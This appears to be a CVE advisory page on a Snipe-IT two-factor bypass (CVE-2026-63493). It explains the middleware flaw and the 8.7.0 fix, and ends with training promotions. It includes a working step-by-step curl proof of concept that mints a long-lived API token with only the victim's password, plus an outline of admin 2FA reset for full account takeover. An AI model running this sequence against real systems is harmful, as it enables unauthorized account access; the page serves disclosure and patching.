Listen to this Post
Snipe-IT is an open-source IT asset and license management system built on the Laravel PHP framework. CVE-2026-63493 is an improper access control vulnerability (CWE-284) that allows an attacker who knows a victim’s password to fully bypass the account’s two-factor authentication and obtain a persistent API token with full API access as the user.
The root cause lies in how 2FA enforcement is scoped across Laravel’s middleware groups. The `CheckForTwoFactor` middleware is registered only in the `web` middleware group, not in the `api` group. The `/two-factor` route is explicitly exempted from this check via the `IGNORE_ROUTES` constant, and `CreateFreshApiToken` runs immediately after it within the `web` group. This means a session that has passed the password check but has not yet completed the second factor is already considered authenticated and receives a Passport `snipeit_passport_token` cookie.
The personal-access-token endpoint, located at Api\ProfileController::createApiToken, resides in the `api` middleware group, which never invokes CheckForTwoFactor. The only gate on this endpoint is the `self.api` permission check, which has no relationship to 2FA status. Consequently, between a correct password entry and a completed second factor, the attacker can mint a long-lived API token (40-year expiry by default) that grants full API access as the victim user.
Because the REST API covers essentially the entire application, if the victim is an administrator, the resulting token can also call the admin `users/two_factor_reset` endpoint, which exists in the same un-gated API surface. This allows the attacker to clear the account’s enrolled 2FA, forcing the next login to re-enroll a second factor — which the password-holding attacker can complete with their own device, taking over the account’s web access and locking out the legitimate user.
This vulnerability was reported by colinthebomb1 and Theebanbabu, with follow-up confirmation by SRT at submersion ([email protected]). It is fixed in Snipe-IT version 8.7.0.
DailyCVE Form:
Platform: Snipe-IT
Version: 8.6.3
Vulnerability: 2FA Bypass
Severity: Medium
date: 2026-08-25
Prediction: 2026-09-15
What Undercode Say: Analytics
Verify middleware groups in app/Http/Kernel.php grep -A 10 "'web'" app/Http/Kernel.php grep -A 10 "'api'" app/Http/Kernel.php Confirm CheckForTwoFactor IGNORE_ROUTES grep -A 5 "IGNORE_ROUTES" app/Http/Middleware/CheckForTwoFactor.php Verify token endpoint lacks 2FA gate grep -A 5 "createApiToken" routes/api.php
// app/Http/Kernel.php — vulnerable configuration
'web' => [ ..., CheckForTwoFactor::class, CreateFreshApiToken::class, ... ],
'api' => [ 'auth:api', EnforceApiUserAgent::class, ... ], // no CheckForTwoFactor
// app/Http/Middleware/CheckForTwoFactor.php
public const IGNORE_ROUTES = ['two-factor', 'two-factor-enroll', 'setup', 'logout'];
// routes/api.php -> Api\ProfileController::createApiToken (line 98)
if (! Gate::allows('self.api')) { ... } // the only gate; no 2FA check
PoC: full 2FA bypass sequence
HOST=https://snipeit.example.com/
USER=victim
PASS='victim-password'
Step 1: Authenticate with password only
csrf=$(curl -s -c cookies.txt "$HOST/login" \
| grep -oP 'name="_token" value="\K[^"]+')
curl -s -b cookies.txt -c cookies.txt "$HOST/login" \
--data-urlencode "_token=$csrf" \
--data-urlencode "username=$USER" \
--data-urlencode "password=$PASS" -o /dev/null
Step 2: Hit /two-factor (exempt from 2FA check) to get Passport cookie
curl -s -b cookies.txt -c cookies.txt "$HOST/two-factor" -o /dev/null
grep -q snipeit_passport_token cookies.txt && echo "[bash] Passport cookie issued, no code"
Step 3: Mint persistent token over api group
xsrf=$(awk '/XSRF-TOKEN/{print $7}' cookies.txt | tail -1)
xsrf=$(printf '%b' "${xsrf//%/\x}")
pat=$(curl -s -b cookies.txt "$HOST/api/v1/account/personal-access-tokens" \
-X POST -H "Accept: application/json" -H "X-XSRF-TOKEN: $xsrf" \
--data-urlencode "name=poc" | jq -r '.payload.token')
echo "[bash] token: $pat"
Step 4: Use Bearer token to access victim's account
curl -s "$HOST/api/v1/users/me" \
-H "Authorization: Bearer $pat" -H "Accept: application/json"
How Exploit: (Educational Purposes!)
The exploit requires only knowledge of the victim’s password and does not require access to the TOTP device. The attacker authenticates via the standard login endpoint, which calls `Auth::login` based solely on the password. At this point, the session is authenticated but every web page redirects to `/two-factor` until a code is entered. The attacker navigates directly to `/two-factor` without submitting a code; because this route is in IGNORE_ROUTES, the middleware lets the request through and `CreateFreshApiToken` issues the Passport cookie. The attacker then calls the personal-access-token endpoint over the `api` group, which never checks 2FA, and receives a long-lived Bearer token with full API access as the victim user. If the victim is an administrator, the attacker can subsequently call the `users/two_factor_reset` endpoint using the same token to clear the account’s 2FA enrollment and complete a full account takeover on the next login.
Protection: from this CVE
Upgrade to Snipe-IT version 8.7.0 or later. The fix, introduced in commit `87c362962a` via PR 19294 (FD-56499), adds a new API-side middleware called EnforceApiTwoFactorEnrollment, registered on the `api` middleware group after auth:api. This middleware checks whether the token owner has a second factor enrolled at all, independent of the session-scoped `2fa_authed` flag that `CheckForTwoFactor` relies on. It passes through when there is no authenticated user, when 2FA is disabled in settings, and under optional mode (two_factor_enabled = '1') only enforces on users who explicitly set two_factor_optin = '1'. Under required mode (two_factor_enabled = '2'), it enforces regardless of opt-in. Requests are blocked with HTTP 403 and the response `trans(‘auth/message.two_factor.please_enroll’)` when the token owner’s two_factor_enrolled != '1'. Regression coverage lives in tests/Feature/Authentication/EnforceApiTwoFactorEnrollmentTest.php.
Impact
An attacker with knowledge of a victim’s password can bypass 2FA entirely and obtain a persistent API credential with full read and write access across the user’s permissions. For administrator accounts, this includes the ability to reset other users’ 2FA, enumerate the full user directory, and perform administrative operations via the REST API. The token is long-lived (40-year expiry by default) and does not require completing the second factor at any point. The legitimate user’s web access remains blocked until 2FA is completed, but the attacker’s API access is unaffected by that session-level restriction.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
